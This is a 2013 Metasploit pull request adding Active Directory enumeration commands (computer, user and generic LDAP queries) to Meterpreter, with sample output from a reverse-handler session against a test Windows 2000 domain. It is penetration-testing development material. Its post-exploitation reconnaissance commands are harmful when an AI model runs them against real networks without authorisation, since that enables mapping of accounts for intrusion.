rapid7/metasploit-framework — pull request #2736 by OJ (2013-12-08 11:31:33+00:00)
Title: Basic adsi support for extapi

### Rationale
ADSI support was missing, it was needed, so now it's not missing!

This PR starts the basics of the ADSI support for Meterpreter. It lives in the `ext_server_extapi` module. The current code supports the ability to run generic queries. Features include

* `adsi_computer_enum` - enumerates all the computers in the domain.
* `adsi_user_enum` - enumerates all the users in the domain.
* `adsi_domain_query` - generic query engine that can be used for ad-hoc queries.

These things are not set in stone, but are intended to be an example of what we can do. More work needs to be done here to make the default queries useful.

Values are pulled straight from AD and rendered, so things such as dates (which are stored as obscure-formatted integers) are just rendered as such. MSF will need to, over time, add support for pulling these bits of information apart.

### Requirements
* The `ext_server_extapi` module is required to be merged before this can be merged.
* The [Meterpreter](https://github.com/rapid7/meterpreter/pull/60) side of this PR needs to be merged.

### Validation
I have done testing on my only domain which is running Win2k. I would love for some other folks to get into this and try it out on a more up to date domain with more objects. So Windows 2k and Windows XP appear to work fine for me.

- [ ] Works on x86
- [ ] Works on x64
- [ ] Works on more than just a few versions of Windows & SP levels.

### Sample output
Start with the usual gubbins, but show help
```
msf exploit(handler) > exploit

[*] Started reverse handler on 10.5.26.40:8000
[*] Starting the payload handler...
[*] Sending stage (785920 bytes) to 10.5.26.54
[*] Meterpreter session 1 opened (10.5.26.40:8000 -> 10.5.26.54:2255) at 2013-12-07 00:16:10 +1000

meterpreter > use extapi
Loading extension extapi...success.

meterpreter > help

... snip ...

Extapi: ADSI Management Commands
================================

Command Description
------- -----------
adsi_computer_enum Enumerate all computers on the specified domain.
adsi_domain_query Enumerate all objects on the specified domain that match a filter.
adsi_user_enum Enumerate all users on the specified domain.
```
Sample usage of `adsi_computer_enum`:
```
meterpreter > adsi_computer_enum

Usage: adsi_computer_enum [-h]

Enumerate the computers on the target domain.

Enumeration returns information such as the computer name, desc, and comment.

OPTIONS:

-h Help banner

meterpreter > adsi_computer_enum windows.old

windows.old Computers
=====================

name distinguishedname description comment
---- ----------------- ----------- -------
WIN2K CN=WIN2K,OU=Domain Controllers,DC=windows,DC=old This is a TEST.
schmidt CN=schmidt,CN=Computers,DC=windows,DC=old test PC

Total computers: 2
```
Sample usage of `adsi_user_enum`:
```
meterpreter > adsi_user_enum

Usage: adsi_user_enum [-h]

Enumerate the users on the target domain.

Enumeration returns information such as the user name, SAM account name, locked
status, desc, and comment.

OPTIONS:

-h Help banner

meterpreter > adsi_user_enum windows.old

windows.old Users
=================

samaccountname name distinguishedname description comment
-------------- ---- ----------------- ----------- -------
Administrator Administrator CN=Administrator,CN=Users,DC=windows,DC=old Built-in account for administering the computer/domain
Guest Guest CN=Guest,CN=Users,DC=windows,DC=old Built-in account for guest access to the computer/domain
IUSR_WIN2K IUSR_WIN2K CN=IUSR_WIN2K,CN=Users,DC=windows,DC=old Built-in account for anonymous access to Internet Information Services Built-in account for anonymous access to Internet Information Services
IWAM_WIN2K IWAM_WIN2K CN=IWAM_WIN2K,CN=Users,DC=windows,DC=old Built-in account for Internet Information Services to start out of process applications Built-in account for Internet Information Services to start out of process applications
SCHMIDT$ schmidt CN=schmidt,CN=Computers,DC=windows,DC=old test PC
TsInternetUser TsInternetUser CN=TsInternetUser,CN=Users,DC=windows,DC=old This user account is used by Terminal Services.
WIN2K$ WIN2K CN=WIN2K,OU=Domain Controllers,DC=windows,DC=old This is a TEST.
alice Alice CN=Alice,CN=Users,DC=windows,DC=old
bob BOB CN=BOB,CN=Users,DC=windows,DC=old
fido fido CN=fido,CN=Users,DC=windows,DC=old
krbtgt krbtgt CN=krbtgt,CN=Users,DC=windows,DC=old Key Distribution Center Service Account

Total users: 11

```
Sample usage of `adsi_domain_query` (the generic doohicky):
```
meterpreter > adsi_domain_query

Usage: adsi_computer_enum [field 2 [field ..]] [-h]

Enumerate the objects on the target domain.

Enumeration returns the set of fields that are specified.

OPTIONS:

-h Help banner

meterpreter > adsi_domain_query windows.old "(objectClass=user)" samaccountname name distinguishedname

windows.old Objects
===================

samaccountname name distinguishedname
-------------- ---- -----------------
Administrator Administrator CN=Administrator,CN=Users,DC=windows,DC=old
Guest Guest CN=Guest,CN=Users,DC=windows,DC=old
IUSR_WIN2K IUSR_WIN2K CN=IUSR_WIN2K,CN=Users,DC=windows,DC=old
IWAM_WIN2K IWAM_WIN2K CN=IWAM_WIN2K,CN=Users,DC=windows,DC=old
SCHMIDT$ schmidt CN=schmidt,CN=Computers,DC=windows,DC=old
TsInternetUser TsInternetUser CN=TsInternetUser,CN=Users,DC=windows,DC=old
WIN2K$ WIN2K CN=WIN2K,OU=Domain Controllers,DC=windows,DC=old
alice Alice CN=Alice,CN=Users,DC=windows,DC=old
bob BOB CN=BOB,CN=Users,DC=windows,DC=old
fido fido CN=fido,CN=Users,DC=windows,DC=old
krbtgt krbtgt CN=krbtgt,CN=Users,DC=windows,DC=old

Total objects: 11

meterpreter > adsi_domain_query windows.old "(|(name=w*)(name=a*))" samaccountname name distinguishedname

windows.old Objects
===================

samaccountname name distinguishedname
-------------- ---- -----------------
a.root-servers.net DC=a.root-servers.net,DC=RootDNSServers,CN=MicrosoftDNS,CN=System,DC=windows,DC=old
WinsockServices CN=WinsockServices,CN=System,DC=windows,DC=old
windows.old DC=windows.old,CN=MicrosoftDNS,CN=System,DC=windows,DC=old
windows DC=windows,DC=old
AdminSDHolder CN=AdminSDHolder,CN=System,DC=windows,DC=old
win2k DC=win2k,DC=windows.old,CN=MicrosoftDNS,CN=System,DC=windows,DC=old
WIN2K CN=WIN2K,CN=Domain System Volume (SYSVOL share),CN=File Replication Service,CN=System,DC=windows,DC=old
AppCategories CN=AppCategories,CN=Default Domain Policy,CN=System,DC=windows,DC=old
Account Operators Account Operators CN=Account Operators,CN=Builtin,DC=windows,DC=old
Administrator Administrator CN=Administrator,CN=Users,DC=windows,DC=old
Administrators Administrators CN=Administrators,CN=Builtin,DC=windows,DC=old
WIN2K$ WIN2K CN=WIN2K,OU=Domain Controllers,DC=windows,DC=old
alice Alice CN=Alice,CN=Users,DC=windows,DC=old

Total objects: 13

meterpreter > adsi_domain_query windows.old "(&(objectClass=user)(name=a*))" samaccountname badPwdCount

windows.old Objects
===================

samaccountname badPwdCount
-------------- -----------
Administrator 9
alice 0

Total objects: 2
```
Behind the scenes, all queries funnel through the same call, which can be scripted:
```
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> client.extapi.adsi.domain_query("windows.old", "(&(objectClass=user)(samAccountName=a*))", ["samaccountname", "distinguishedname"])
=> {:fields=>["samaccountname", "distinguishedname"], :results=>[["Administrator", "CN=Administrator,CN=Users,DC=windows,DC=old"], ["alice", "CN=Alice,CN=Users,DC=windows,DC=old"]]}
```